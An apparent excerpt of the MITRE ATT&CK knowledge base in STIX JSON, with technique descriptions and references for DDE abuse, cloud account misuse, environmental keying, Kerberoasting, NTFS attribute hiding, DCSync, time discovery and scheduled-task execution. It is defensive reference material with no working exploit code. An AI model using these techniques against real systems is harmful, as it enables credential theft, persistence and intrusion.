                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "url": "https://technet.microsoft.com/library/security/4053440"
                },
                {
                    "source_name": "SensePost PS DDE May 2016",
                    "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
                    "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"
                },
                {
                    "source_name": "Kettle CSV DDE Aug 2014",
                    "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
                    "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"
                },
                {
                    "source_name": "Enigma Reviving DDE Jan 2018",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
                },
                {
                    "source_name": "SensePost MacroLess DDE Oct 2017",
                    "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
                    "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"
                },
                {
                    "source_name": "NVisio Labs DDE Detection Oct 2017",
                    "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
                    "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
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            "modified": "2025-10-24T17:49:34.766Z",
            "name": "Dynamic Data Exchange",
            "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.",
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            "created": "2020-02-11T18:42:35.572Z",
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                {
                    "source_name": "Metcalf 2015",
                    "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.",
                    "url": "http://adsecurity.org/?p=1275"
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                {
                    "source_name": "Wikipedia Active Directory",
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                {
                    "source_name": "Expel AWS",
                    "description": "Anthony Randazzo, Britton Manahan, Sam Lipton. (2020, April 28). Managed Detection & Response for AWS. Retrieved April 15, 2026.",
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                {
                    "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
                    "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
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                    "source_name": "SANS Information Security Reading Room Securing SNMP Securing SNMP",
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                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
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                    "source_name": "Rhino Security Labs Enumerating AWS Roles",
                    "description": "Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through \u2018AssumeRole\u2019. Retrieved April 1, 2022.",
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                    "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
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                    "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.",
                    "url": "https://aws.amazon.com/identity/federation/"
                },
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                    "source_name": "SpecterOps Managed Identity 2022",
                    "description": "Andy Robbins. (2022, June 6). Managed Identity Attack Paths, Part 1: Automation Accounts. Retrieved March 18, 2025.",
                    "url": "https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c"
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                    "source_name": "Google Federating GC",
                    "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.",
                    "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction"
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                    "source_name": "Microsoft Deploying AD Federation",
                    "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs"
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            "description": "Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. For example, in Azure environments, adversaries may target Azure Managed Identities, which allow associated Azure resources to request access tokens. By compromising a resource with an attached Managed Identity, such as an Azure VM, adversaries may be able to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s to move laterally across the cloud environment.(Citation: SpecterOps Managed Identity 2022)",
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                    "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices"
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                {
                    "source_name": "Kaspersky Gauss Whitepaper",
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                    "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved November 17, 2024.",
                    "url": "http://web.archive.org/web/20200608093807/https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/"
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            "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "Volexity",
                    "description": "Ankur Saini, Charlie Gardner. (2023, June 28). Charming Kitten Updates POWERSTAR with an InterPlanetary Twist. Retrieved September 25, 2025.",
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                    "source_name": "TrendMicro ESXI Ransomware",
                    "description": "Junestherry Dela Cruz. (2022, January 24). Analysis and Impact of LockBit Ransomware\u2019s First Linux and VMware ESXi Variant. Retrieved March 26, 2025.",
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                {
                    "source_name": "Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024",
                    "description": "Lenart Bermejo, Sunny Lu, Ted Lee. (2024, September 9). Earth Preta Evolves its Attacks with New Malware and Strategies. Retrieved August 4, 2025.",
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                    "source_name": "TrendMicro",
                    "description": "Mina Naiim. (2021, May 28). DarkSide on Linux: Virtual Machines Targeted. Retrieved March 26, 2025.",
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                    "source_name": "Microsoft NTFS File Attributes Aug 2010",
                    "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
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                    "source_name": "Microsoft ADS Mar 2014",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
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            "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
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                    "phase_name": "credential-access"
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            "id": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d",
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                    "url": "https://attack.mitre.org/techniques/T1096",
                    "external_id": "T1096"
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                {
                    "source_name": "SpectorOps Host-Based Jul 2017",
                    "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.",
                    "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea"
                },
                {
                    "source_name": "Microsoft NTFS File Attributes Aug 2010",
                    "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/"
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                {
                    "source_name": "Microsoft File Streams",
                    "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/aa364404"
                },
                {
                    "source_name": "MalwareBytes ADS July 2015",
                    "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
                    "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"
                },
                {
                    "source_name": "Microsoft ADS Mar 2014",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"
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                {
                    "source_name": "Journey into IR ZeroAccess NTFS EA",
                    "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
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                {
                    "source_name": "Oddvar Moe ADS1 Jan 2018",
                    "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.",
                    "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"
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                {
                    "source_name": "Oddvar Moe ADS2 Apr 2018",
                    "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.",
                    "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"
                },
                {
                    "source_name": "Symantec ADS May 2009",
                    "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
                    "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
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            "name": "NTFS File Attributes",
            "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",
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                {
                    "source_name": "GitHub Mimikatz lsadump Module",
                    "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
                    "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"
                },
                {
                    "source_name": "ADSecurity Mimikatz DCSync",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.",
                    "url": "https://adsecurity.org/?p=1729"
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                    "source_name": "AdSecurity DCSync Sept 2015",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "url": "https://adsecurity.org/?p=1729"
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                    "source_name": "Microsoft DRSR Dec 2017",
                    "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc228086.aspx"
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                    "source_name": "Microsoft NRPC Dec 2017",
                    "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc237008.aspx"
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                    "source_name": "Microsoft GetNCCChanges",
                    "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/dd207691.aspx"
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                {
                    "source_name": "Microsoft SAMR",
                    "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc245496.aspx"
                },
                {
                    "source_name": "Samba DRSUAPI",
                    "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
                    "url": "https://wiki.samba.org/index.php/DRSUAPI"
                },
                {
                    "source_name": "Harmj0y DCSync Sept 2015",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
                },
                {
                    "source_name": "Harmj0y Mimikatz and DCSync",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
                },
                {
                    "source_name": "InsiderThreat ChangeNTLM July 2017",
                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
                },
                {
                    "source_name": "Wine API samlib.dll",
                    "description": "Wine API. (n.d.). samlib.dll. Retrieved November 17, 2024.",
                    "url": "https://strontic.github.io/xcyclopedia/library/samlib.dll-0BDF6351009F6EBA5BA7E886F23263B1.html"
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            "description": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.\n\nMembers of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: InsiderThreat ChangeNTLM July 2017)\n\nDCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)",
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            "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "created": "2017-05-31T21:31:37.450Z",
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                    "external_id": "T1124"
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                {
                    "source_name": "systemsetup mac time",
                    "description": "Apple Support. (n.d.). About systemsetup in Remote Desktop. Retrieved March 27, 2024.",
                    "url": "https://support.apple.com/en-gb/guide/remote-desktop/apd95406b8d/mac"
                },
                {
                    "source_name": "linux system time",
                    "description": "ArchLinux. (2024, February 1). System Time. Retrieved March 27, 2024.",
                    "url": "https://wiki.archlinux.org/title/System_time"
                },
                {
                    "source_name": "MAGNET GOBLIN",
                    "description": "Check Point Research. (2024, March 8). MAGNET GOBLIN TARGETS PUBLICLY FACING SERVERS USING 1-DAY VULNERABILITIES. Retrieved March 27, 2024.",
                    "url": "https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/"
                },
                {
                    "source_name": "show_clock_detail_cisco_cmd",
                    "description": "Cisco. (2023, March 6). show clock detail - Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674"
                },
                {
                    "source_name": "Mac Time Sync",
                    "description": "Cone, Matt. (2021, January 14). Synchronize your Mac's Clock with a Time Server. Retrieved March 27, 2024.",
                    "url": "https://www.macinstruct.com/tutorials/synchronize-your-macs-clock-with-a-time-server/"
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                {
                    "source_name": "ESET DazzleSpy Jan 2022",
                    "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.",
                    "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"
                },
                {
                    "source_name": "AnyRun TimeBomb",
                    "description": "Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.",
                    "url": "https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/"
                },
                {
                    "source_name": "Technet Windows Time Service",
                    "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.",
                    "url": "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings"
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                    "source_name": "MSDN System Time",
                    "description": "Microsoft. (n.d.). System Time. Retrieved November 25, 2016.",
                    "url": "https://msdn.microsoft.com/ms724961.aspx"
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                {
                    "source_name": "RSA EU12 They're Inside",
                    "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.",
                    "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf"
                },
                {
                    "source_name": "System Information Discovery Technique",
                    "description": "YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). The System Information Discovery Technique Explained - MITRE ATT&CK T1082. Retrieved March 27, 2024.",
                    "url": "https://www.picussecurity.com/resource/the-system-information-discovery-technique-explained-mitre-attack-t1082"
                },
                {
                    "source_name": "Virtualization/Sandbox Evasion",
                    "description": "YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). Virtualization/Sandbox Evasion - How Attackers Avoid Malware Analysis. Retrieved December 26, 2023.",
                    "url": "https://www.picussecurity.com/resource/virtualization/sandbox-evasion-how-attackers-avoid-malware-analysis"
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            "name": "System Time Discovery",
            "description": "An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or <code>systemsetup</code> on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time)\n\nSystem time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>.(Citation: Technet Windows Time Service) In addition, adversaries can discover device uptime through functions such as <code>GetTickCount()</code> to determine how long it has been since the system booted up.(Citation: Virtualization/Sandbox Evasion)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd) On ESXi servers, `esxcli system clock get` can be used for the same purpose.\n\nIn addition, system calls \u2013 such as <code>time()</code> \u2013 have been used to collect the current time on Linux devices.(Citation: MAGNET GOBLIN) On macOS systems, adversaries may use commands such as <code>systemsetup -gettimezone</code> or <code>timeIntervalSinceNow</code> to gather current time zone information or current date and time.(Citation: System Information Discovery Technique)(Citation: ESET DazzleSpy Jan 2022)\n\nThis information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)",
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                    "source_name": "rowland linux at 2019",
                    "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021.",
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                    "source_name": "Linux at",
                    "description": "IEEE/The Open Group. (2017). at(1p) \u2014 Linux manual page. Retrieved February 25, 2022.",
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                {
                    "source_name": "Twitter Leoloobeek Scheduled Task",
                    "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024.",
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                    "source_name": "Microsoft Scheduled Task Events Win10",
                    "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events"
                },
                {
                    "source_name": "TechNet Scheduled Task Events",
                    "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
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                    "source_name": "Malicious Life by Cybereason",
                    "description": "Philip Tsukerman. (n.d.). No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal. Retrieved June 19, 2024.",
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                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
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                {
                    "source_name": "TechNet Forum Scheduled Task Operational Setting",
                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
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            "name": "At",
            "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)",
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            "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
            "created": "2017-05-31T21:30:36.550Z",
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                    "url": "https://attack.mitre.org/techniques/T1035",
                    "external_id": "T1035"
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            "modified": "2025-10-24T17:49:36.592Z",
            "name": "Service Execution",
            "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.",
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            "created": "2020-01-14T01:26:08.145Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/001",
                    "external_id": "T1055.001"
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                {
                    "source_name": "Hiding Malicious Code with Module Stomping",
                    "description": "Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.",
                    "url": "https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/"
                },
                {
                    "source_name": "Elastic HuntingNMemory June 2017",
                    "description": "Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/hunting-memory"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "Module Stomping for Shellcode Injection",
                    "description": "Red Teaming Experiments. (n.d.). Module Stomping for Shellcode Injection. Retrieved July 14, 2022.",
